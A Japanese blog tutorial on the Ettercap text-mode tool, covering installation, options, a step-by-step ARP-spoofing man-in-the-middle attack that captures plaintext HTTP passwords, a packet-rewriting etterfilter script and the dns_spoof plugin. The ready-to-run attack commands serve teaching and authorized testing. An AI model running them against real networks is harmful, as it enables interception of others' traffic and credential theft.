ネットワークセキュリティの学習やペネトレーションテストにおいて、中間者攻撃(Man-in-the-Middle, MITM)は非常に重要な概念です。Ettercapは、このMITM攻撃を容易に実行できる強力なツールスイートであり、特にettercap-text-only
(ettercap -T
)は、GUI環境がない場合やスクリプトによる自動化を行いたい場合に重宝します。このブログ記事では、ettercap-text-only
の基本的な使い方から、ARPスプーフィングの実践例までを詳しく解説していきます。💡
Ettercap とは? 🤔
Ettercap(Ethernet Captureの略)は、ネットワーク上のデータ(パケット)を傍受し、解析、改ざんするためのオープンソースツールです。元々はAlberto Ornaghi (ALoR)氏とMarco Valleri (NaGA)氏によって開発され、現在はEttercap Development Teamによってメンテナンスされています。
主な機能としては、ライブ接続のスニッフィング(盗聴)、オンザフライでのコンテンツフィルタリング、ARPスプーフィング、DNSスプーフィング、パスワード収集など多岐にわたります。スイッチング環境下でもARPスプーフィングを用いることで効果的にMITM攻撃を実行できる点が特徴です。
Ettercapにはいくつかのインターフェースが用意されています。
- Text only (`-T`): テキストベースのインターフェース。CUI環境での利用やスクリプト連携に適しています。本記事の主役です。
- Curses (`-C`): テキストベースながら、よりインタラクティブな操作が可能なインターフェース。
- GTK (`-G`): グラフィカルユーザーインターフェース(GUI)。直感的な操作が可能です。
- Daemon (`-D`): バックグラウンドで動作するデーモンモード。
ettercap-text-only
は、リソース消費が少なく、SSH経由でのリモート操作や自動化スクリプトへの組み込みが容易であるため、特定のシナリオではGUI版よりも好まれることがあります。
インストール 💻
Ettercapは多くのLinuxディストリビューションの公式リポジトリに含まれています。通常、ettercap-common
パッケージに必要なファイルが含まれ、インターフェースに応じてettercap-graphical
(GUI版)またはettercap-text-only
(テキスト版)をインストールします。Kali Linuxのようなペネトレーションテスト用ディストリビューションには、デフォルトでインストールされていることが多いです。
以下に、主要なLinuxディストリビューションでのインストールコマンド例を示します。
Debian / Ubuntu / Kali Linux:
sudo apt update
sudo apt install ettercap-text-only
GUI版も必要な場合は以下も実行します。
sudo apt install ettercap-graphical
Fedora:
sudo dnf install ettercap
(Fedoraでは、ettercap
パッケージにテキスト版とGUI版の両方が含まれる場合があります。)
Arch Linux:
sudo pacman -S ettercap-ng
インストール後、バージョンを確認できます。
ettercap --version
最新の安定版は、GitHubのリリースセクションや公式サイトで確認できます。2020年8月1日にバージョン0.8.3.1がリリースされています。
基本的な概念 🧠
ettercap-text-only
を効果的に使用するために、以下の基本的なネットワーク概念を理解しておくことが重要です。
- ARP (Address Resolution Protocol): ローカルネットワーク(LAN)上で、IPアドレスから対応するMACアドレス(物理アドレス)を解決するためのプロトコルです。デバイスはARPリクエストをブロードキャストし、該当するIPアドレスを持つデバイスがARPリプライで自身のMACアドレスを返します。
- ARPスプーフィング (ARP Spoofing / ARP Poisoning): 攻撃者が偽のARPリプライを送信し、ターゲットデバイスのARPテーブル(IPアドレスとMACアドレスの対応表)を書き換える攻撃手法です。これにより、攻撃者はターゲット間の通信を自身のマシン経由に迂回させることができます。例えば、ターゲットAとルーターBの通信を傍受したい場合、攻撃者はAに対して「BのIPアドレスは自分のMACアドレスだ」と偽り、Bに対して「AのIPアドレスは自分のMACアドレスだ」と偽ります。
- MITM攻撃 (Man-in-the-Middle Attack): 通信を行う二者間に攻撃者が割り込み、両者になりすまして通信を中継・傍受・改ざんする攻撃の総称です。ARPスプーフィングは、LAN環境におけるMITM攻撃を実現するための一般的な手法の一つです。
- スニッフィング (Sniffing): ネットワーク上を流れるパケットを傍受し、その内容を解析することです。Ettercapは強力なスニッフィング機能を備えています。
- Unified Sniffing: Ettercapのデフォルトのスニッフィングモードです。カーネルのIPフォワーディングを無効にし、Ettercap自身がパケット転送を行います。これにより、複数のMITM攻撃手法を同時に適用できます。
- Bridged Sniffing: 2つのネットワークインターフェースを使用し、一方のインターフェースで受信したパケットをもう一方に転送するモードです。物理的にネットワークの経路に入る必要がある場合に利用されます。
ettercap-text-only の基本的な使い方 🛠️
ettercap-text-only
は、コマンドラインオプションを指定して起動します。スーパーユーザー権限(root)が必要になることが多いです。
sudo ettercap -T [オプション] [TARGET1] [TARGET2]
主なオプションをいくつか紹介します。
オプション | 説明 |
---|---|
-T , --text |
テキストインターフェースを使用します(必須)。 |
-i <interface> , --interface <interface> |
使用するネットワークインターフェースを指定します(例: eth0 , wlan0 )。 |
-M <method>[:args] , --mitm <method>[:args] |
実行するMITM攻撃の種類を指定します。ARPスプーフィングの場合はarp を指定します。例: -M arp:remote (リモートARPポイズニング) |
TARGET |
攻撃対象を指定します。MAC/IPs/Ports の形式で指定します。IPアドレスやサブネットを指定する場合: /192.168.1.10/ , /192.168.1.1-50/ , /192.168.1.0/24/ MACアドレスを指定する場合: /DE:AD:BE:EF:CA:FE/ ポートを指定する場合: /192.168.1.10/80,443/ ARPスプーフィングでは通常、2つのターゲットグループ(例: 被害者PCとゲートウェイ)を指定します: /target1_ip// /gateway_ip// |
-q , --quiet |
クワイエットモード。ホスト情報などの表示を抑制します。 |
-s <CMDs> , --script <CMDs> |
起動時に実行するコマンドを指定します(例: Lqs でリスト表示、スニッフィング開始、終了)。 |
-L <basename> , --log <basename> |
キャプチャしたデータをログファイルに保存します。.ecp (パケット情報)と.eci (ホスト情報)ファイルが生成されます。 |
-r <file> , --read <file> |
pcapファイルからパケットを読み込みます。 |
-w <file> , --write <file> |
キャプチャしたパケットをpcapファイルに書き出します。 |
-F <file> , --filter <file> |
コンパイル済みのEtterfilterスクリプト(.ef )をロードして適用します。 |
-P <plugin> , --plugin <plugin> |
指定したプラグインを起動します。--plugin-list オプションで利用可能なプラグインを表示できます。 |
-d , --dns |
DNSホスト名を解決します。 |
-V <text|curses|gtk> , --view <text|curses|gtk> |
読み込んだログファイルの内容を表示する際のビューを指定します。 |
-z , --silent |
初期のスニッフィングを開始しません。プラグインのみを実行する場合などに使用します。 |
-h , --help |
ヘルプメッセージを表示します。 |
Ettercapのテキストモードでは、起動後、検出された接続や収集された情報(ユーザー名、パスワードなど)がリアルタイムでコンソールに出力されます。h
キーを押すとヘルプが表示され、利用可能なキーボードショートカットを確認できます。q
キーでEttercapを終了します。
実践例:ARPスプーフィングによるHTTP通信傍受 🌐
ここでは、ローカルネットワーク内の特定のターゲットPC(例: 192.168.1.10)とデフォルトゲートウェイ(例: 192.168.1.1)間の通信をARPスプーフィングによって傍受し、HTTP通信の内容(特に平文のパスワードなど)を監視するシナリオを考えます。
ステップ1: ターゲット情報の確認
まず、攻撃対象となるターゲットPCのIPアドレスとMACアドレス、そしてデフォルトゲートウェイのIPアドレスとMACアドレスを確認します。ip addr
コマンドで自身のIPアドレスとネットワークインターフェース名を確認し、arp -a
コマンドやnmap
、arp-scan
などを使ってネットワーク内のデバイス情報を収集します。
ip addr show
sudo arp-scan --localnet
ステップ2: Ettercap の起動
ターゲットPC(192.168.1.10)とゲートウェイ(192.168.1.1)を指定して、テキストモードでARPスプーフィングを開始します。ネットワークインターフェースがeth0
であると仮定します。
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.10// /192.168.1.1//
-T
: テキストモードを指定。-i eth0
: 使用するインターフェースを指定。-M arp:remote
: ARPスプーフィング(remoteオプション付き)を実行。:remote
はターゲット間の双方向の通信をポイズニングします。:oneway
だと片方向のみです。/192.168.1.10//
: ターゲット1を指定(IPアドレスのみ)。/192.168.1.1//
: ターゲット2を指定(IPアドレスのみ)。
Ettercapが起動すると、ARPポイズニングが開始され、ターゲット間の通信が攻撃者のマシンを経由するようになります。
ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team
Listening on:
eth0 -> MA:CA:DD:RE:SS:01
Privileges dropped to UID 65534 GID 65534...
39 plugins loaded: ...
Scanning for merged targets (2 groups of hosts)...
* |==================================================>| 100.00 %
2 hosts added to the list...
ARP poisoning victims:
GROUP 1 : 192.168.1.10 MA:CA:DD:RE:SS:10
GROUP 2 : 192.168.1.1 MA:CA:DD:RE:SS:02
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating ARP poisoner (remote)...
ステップ3: 通信の監視
Ettercapのコンソール出力を監視します。ターゲットPCがHTTPサイトにアクセスし、ログインフォームなどを送信すると、平文のユーザー名やパスワードが以下のように表示されることがあります。
HTTP : 192.168.1.10:54321 -> example.com:80 (POST)
USER: testuser PASS: P@sswOrd123 INFO: http://example.com/login
HTTPS通信は通常暗号化されているため、そのままでは内容は傍受できません。SSL/TLSのMITM攻撃(SSL StrippingやFake Certificate)を行うには、追加の設定やプラグインが必要ですが、現代のウェブサイトではHSTS(HTTP Strict Transport Security)や証明書ピンニングなどの対策が施されており、成功させるのは困難になっています。
ステップ4: Ettercap の停止
攻撃を終了するには、Ettercapのコンソールでq
キーを押します。Ettercapは終了時にARPテーブルを元に戻そうとしますが、確実に元に戻すためには、ターゲットデバイスを再起動するか、ARPキャッシュをクリアすることが推奨されます。
-L logbasename
オプションでログを保存しておくと、後で etterlog -a logbasename.eci
や etterlog -p logbasename.ecp
コマンドで詳細を確認できます。-w output.pcap
でpcapファイルとして保存し、Wiresharkで詳細な解析を行うことも有効です。
高度な機能(概要) ✨
ettercap-text-only
は、基本的なスニッフィングやARPスプーフィング以外にも、より高度な機能を提供します。
-
Etterfilter:
独自のフィルタスクリプトを作成し、特定の条件に一致するパケットをドロップしたり、内容を書き換えたりすることができます。フィルタスクリプト(
.elt
)はetterfilter
コマンドでコンパイルし(.ef
ファイルが生成される)、-F <filter.ef>
オプションでEttercapに読み込ませます。例えば、特定の画像を一律で別の画像に差し替える、特定の文字列を置換するなどの操作が可能です。# フィルタスクリプト例 (example.elt) if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Nothing!"); # 画像置換などの複雑な処理も可能 msg("Accept-Encoding modified.\n"); } }
# コンパイル etterfilter example.elt -o example.ef # Ettercap で使用 sudo ettercap -T -i eth0 -F example.ef -M arp:remote /target// /gateway//
-
プラグイン:
Ettercapには様々な機能を持つプラグインが用意されています。
--plugin-list
で一覧を表示できます。-P <plugin_name>
オプションで特定のプラグインを有効化できます。dns_spoof
: DNS応答を偽装し、ユーザーを偽サイトに誘導します。設定ファイルetter.dns
に偽装ルールを記述します。find_conn
: 傍受したTCPコネクションを表示します。find_ip
: 自分以外のIPアドレスを持つホストを探します。chk_poison
: ARPポイズニングが成功しているか確認します。repoison_arp
: ARPキャッシュを定期的に再ポイズニングします。sslstrip
: (現在はより高度なツールが必要ですが) HTTPS接続をHTTPにダウングレードしようと試みる古典的なプラグイン(別途sslstripのセットアップが必要な場合あり)。
# DNSスプーフィングプラグインを使用 sudo ettercap -T -i eth0 -P dns_spoof -M arp:remote /target// /gateway//
-
設定ファイル (etter.conf):
/etc/ettercap/etter.conf
(または類似のパス)には、Ettercapの動作に関する詳細な設定が含まれています。ユーザー権限の設定、SSL/TLS関連の設定(証明書のパスなど)、リダイレクトコマンドの設定などが可能です。SSL MITM攻撃を試みる場合、このファイルの編集が必要になることがあります。
倫理的考察と法的注意点 ⚖️
まとめ ✅
ettercap-text-only
は、CUI環境で動作する強力なMITM攻撃およびネットワークスニッフィングツールです。ARPスプーフィングやDNSスプーフィングなどの攻撃を比較的容易に実行でき、ネットワークの動作原理を深く理解する上で役立ちます。
軽量でスクリプトによる自動化にも適しているため、GUI版が使えない環境や特定のタスクを効率化したい場合に有効な選択肢となります。しかし、その強力さゆえに、使用には細心の注意と高い倫理観が求められます。必ず許可された環境でのみ、教育・研究・正当なセキュリティ評価の目的で使用してください。🔒
この記事が、ettercap-text-only
の理解と適切な活用の一助となれば幸いです。
参考情報 📚
- Ettercap 公式サイト (GitHub): https://ettercap.github.io/ettercap/
- Ettercap Man Page (オンライン版の例): https://manpages.debian.org/testing/ettercap-common/ettercap.8.en.html (
man ettercap
コマンドでも確認可能) - Ettercap Filter Man Page (オンライン版の例): https://manpages.debian.org/testing/ettercap-common/etterfilter.8.en.html (
man etterfilter
コマンドでも確認可能)
コメント